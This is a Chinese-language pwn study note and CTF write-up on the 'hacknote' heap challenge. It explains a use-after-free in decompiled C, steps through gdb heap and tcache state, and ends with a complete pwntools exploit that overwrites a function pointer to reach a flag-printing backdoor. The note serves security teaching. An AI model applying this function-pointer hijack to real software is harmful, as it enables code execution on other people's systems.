Pwn学习笔记(10)–UAF:
UAF就是Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。
由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。
题目是一个标准的菜单题,有创建note和输出删除的功能,别的不看了,直接看那三个函数:
unsigned int add_note()
{int v0; // ebxint i; // [esp+Ch] [ebp-1Ch]int size; // [esp+10h] [ebp-18h]char buf[8]; // [esp+14h] [ebp-14h] BYREFunsigned int v5; // [esp+1Ch] [ebp-Ch]v5 = __readgsdword(0x14u);if ( count <= 5 ){for ( i = 0; i <= 4; ++i ){if ( !*(¬elist + i) ){*(¬elist + i) = malloc(8u);if ( !*(¬elist + i) ){puts("Alloca Error");exit(-1);}*(_DWORD *)*(¬elist + i) = print_note_content;printf("Note size :");read(0, buf, 8u);size = atoi(buf);v0 = (int)*(¬elist + i);*(_DWORD *)(v0 + 4) = malloc(size);if ( !*((_DWORD *)*(¬elist + i) + 1) ){puts("Alloca Error");exit(-1);}printf("Content :");read(0, *((void **)*(¬elist + i) + 1), size);puts("Success !");++count;return __readgsdword(0x14u) ^ v5;}}}else{puts("Full");}return __readgsdword(0x14u) ^ v5;
}
先分配了一个堆空间,具体大小为数组notelist的单个元素的大小,之后就是让noteliist第一个元素指向一个函数:
*(_DWORD *)*(¬elist + i) = print_note_content;
估计第一个参数是一个函数指针,之后malloc第二个堆,地址赋给第二个参数,之后读取size大小的字符进入第二个堆块。
v0 = (int)*(¬elist + i);
*(_DWORD *)(v0 + 4) = malloc(size);read(0, *((void **)*(¬elist + i) + 1), size);
删除note:
unsigned int del_note()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= count ){puts("Out of bound!");_exit(0);}if ( *(¬elist + v1) ){free(*((void **)*(¬elist + v1) + 1));free(*(¬elist + v1));puts("Success");}return __readgsdword(0x14u) ^ v3;
}
发现先后删除了两个堆块,一个是写入的堆块,也就是上面第二个生成的堆块,之后释放了第一个生成的堆块,也就是存放两个指针的那个堆块:
free(*((void **)*(¬elist + v1) + 1));
free(*(¬elist + v1));
但之后没有对指针进行置零,存在UAF漏洞,因为show里存在idx参数,释放后如果申请大小差不多的堆块。
之后是print_note函数:
unsigned int print_note()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= count ){puts("Out of bound!");_exit(0);}if ( *(¬elist + v1) )(*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));return __readgsdword(0x14u) ^ v3;
}
很显然,这里调用了那个堆块里的动态函数:
(*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));
所以只需要想办法修改这里的函数指针即可getshell。
上gdb调一下,先申请两个堆块,之后ctrl+c执行gdb指令看看:
pwndbg> r
Starting program: /mnt/c/Users/20820/Downloads/hacknote
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :1
Note size :20
Content :aaa
Success !
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :1
Note size :30
Content :AAA
Success !
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :^C
之后查看下heap状态:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)
除开最开始的那个size为0x190的那位以外,其他的大致符合情况 ,两次都是先申请了一个堆块存放两个地址,然后申请另一个堆块来存放输入的内容,之后读一下0x804b198的内存:
pwndbg> x/30gx 0x804b198
0x804b198: 0x0000001100000000 0x0804b1b00804865b <---这里两个数据,一个是函数指针,也就是0x0804865b,另一个就是输入地址的那个堆块的地址0x0804b1b0
0x804b1a8: 0x0000002100000000 0x000000000a616161
0x804b1b8: 0x0000000000000000 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b1e00804865b
0x804b1d8: 0x0000003100000000 0x000000000a414141
0x804b1e8: 0x0000000000000000 0x0000000000000000
0x804b1f8: 0x0000000000000000 0x0000000000000000
0x804b208: 0x00021df900000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
0x804b228: 0x0000000000000000 0x0000000000000000
0x804b238: 0x0000000000000000 0x0000000000000000
0x804b248: 0x0000000000000000 0x0000000000000000
0x804b258: 0x0000000000000000 0x0000000000000000
0x804b268: 0x0000000000000000 0x0000000000000000
0x804b278: 0x0000000000000000 0x0000000000000000
这个函数在IDA里的地址是:
.text:0804865B print_note_content proc near ; DATA XREF: add_note+9A↓o
.text:0804865B
.text:0804865B arg_0 = dword ptr 8
.text:0804865B
.text:0804865B ; __unwind {
.text:0804865B push ebp
.text:0804865C mov ebp, esp
.text:0804865E sub esp, 8
.text:08048661 mov eax, [ebp+arg_0]
.text:08048664 mov eax, [eax+4]
.text:08048667 sub esp, 0Ch
.text:0804866A push eax ; s
.text:0804866B call _puts
.text:08048670 add esp, 10h
.text:08048673 nop
.text:08048674 leave
.text:08048675 retn
.text:08048675 ; } // starts at 804865B
.text:08048675 print_note_content endp
此时bins里啥都没有:
pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
之后,我们分别释放掉两个堆,发现heap变了:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x804b1a0Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)
释放掉了之后,读取0x804b198的内容:
pwndbg> x/30gx 0x804b198
0x804b198: 0x0000001100000000 0x0804b01000000000
0x804b1a8: 0x0000002100000000 0x0804b01000000000
0x804b1b8: 0x0000000000000000 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b0100804b1a0
0x804b1d8: 0x0000003100000000 0x0804b01000000000
0x804b1e8: 0x0000000000000000 0x0000000000000000
0x804b1f8: 0x0000000000000000 0x0000000000000000
0x804b208: 0x00021df900000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
0x804b228: 0x0000000000000000 0x0000000000000000
0x804b238: 0x0000000000000000 0x0000000000000000
0x804b248: 0x0000000000000000 0x0000000000000000
0x804b258: 0x0000000000000000 0x0000000000000000
0x804b268: 0x0000000000000000 0x0000000000000000
0x804b278: 0x0000000000000000 0x0000000000000000
再看看这个:
pwndbg> bins
tcachebins
0x10 [ 2]: 0x804b1d0 —▸ 0x804b1a0 ◂— 0
0x20 [ 1]: 0x804b1b0 ◂— 0
0x30 [ 1]: 0x804b1e0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
完蛋,没注意到tcache给我保存了这些内容,不过不清楚是否存在影响,继续调一调看看吧,之后重新申请个堆
pwndbg> c
Continuing.
1
Note size :8
Content :aaaa
Success !
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :^C
之后再看看heap:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)
0x804b198这个地址的chunk被重新拿去用了,第二次申请的那个原本存放了函数指针和字符串指针的那个chunk被分配了,之前拿去作为存放内容的那两个chunk一个都没有被分配,之后读一下这个地址:
pwndbg> x/30xg 0x804b198
0x804b198: 0x0000001100000000 0x0000000a61616161
0x804b1a8: 0x0000002100000000 0x0804b01000000000
0x804b1b8: 0x0000000000000000 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b1a00804865b
0x804b1d8: 0x0000003100000000 0x0804b01000000000
0x804b1e8: 0x0000000000000000 0x0000000000000000
0x804b1f8: 0x0000000000000000 0x0000000000000000
0x804b208: 0x00021df900000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
0x804b228: 0x0000000000000000 0x0000000000000000
0x804b238: 0x0000000000000000 0x0000000000000000
0x804b248: 0x0000000000000000 0x0000000000000000
0x804b258: 0x0000000000000000 0x0000000000000000
0x804b268: 0x0000000000000000 0x0000000000000000
0x804b278: 0x0000000000000000 0x0000000000000000
发现这里被输入的字符给占了,再去读一下这个0x804b1c8:
pwndbg> x/30xg 0x804b1c8
0x804b1c8: 0x0000001100000000 0x0804b1a00804865b
这里没有啥变化,依旧是指向输出函数的地址,以及指向某字符串的地址,0x804b198这个地址的chunk之前编号为0,因为地址更低,更先被分配,这个地址更高的作为编号1,同时整个程序存在backdoor:
int magic()
{return system("cat /home/hacknote/flag");
}
所以只需要通过两次释放之后,再申请一个0x8之类比较小的,保证能够写入地址同时能够让分配到的chunk为同一个即可,然后申请的时候发送的数据为后门函数的地址即可,之后输出的时候它会自动调用后门程序:
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *r = process('./hacknote')def addnote(size, content):r.recvuntil(":")r.sendline("1")r.recvuntil(":")r.sendline(str(size))r.recvuntil(":")r.sendline(content)def delnote(idx):r.recvuntil(":")r.sendline("2")r.recvuntil(":")r.sendline(str(idx))def printnote(idx):r.recvuntil(":")r.sendline("3")r.recvuntil(":")r.sendline(str(idx))#gdb.attach(r)
magic = 0x08048986addnote(20, "note1") # add note 0
addnote(30, "note2") # add note 1delnote(0) # delete note 0
delnote(1) # delete note 1addnote(8, p32(magic)) # add note 2printnote(0) # print note 0
gdb.attach(r)
r.interactive()#[*] Switching to interactive mode
#flag{asd32as1-1d8g1r1hj5g4d4-9d54h3jyur4nfke1a}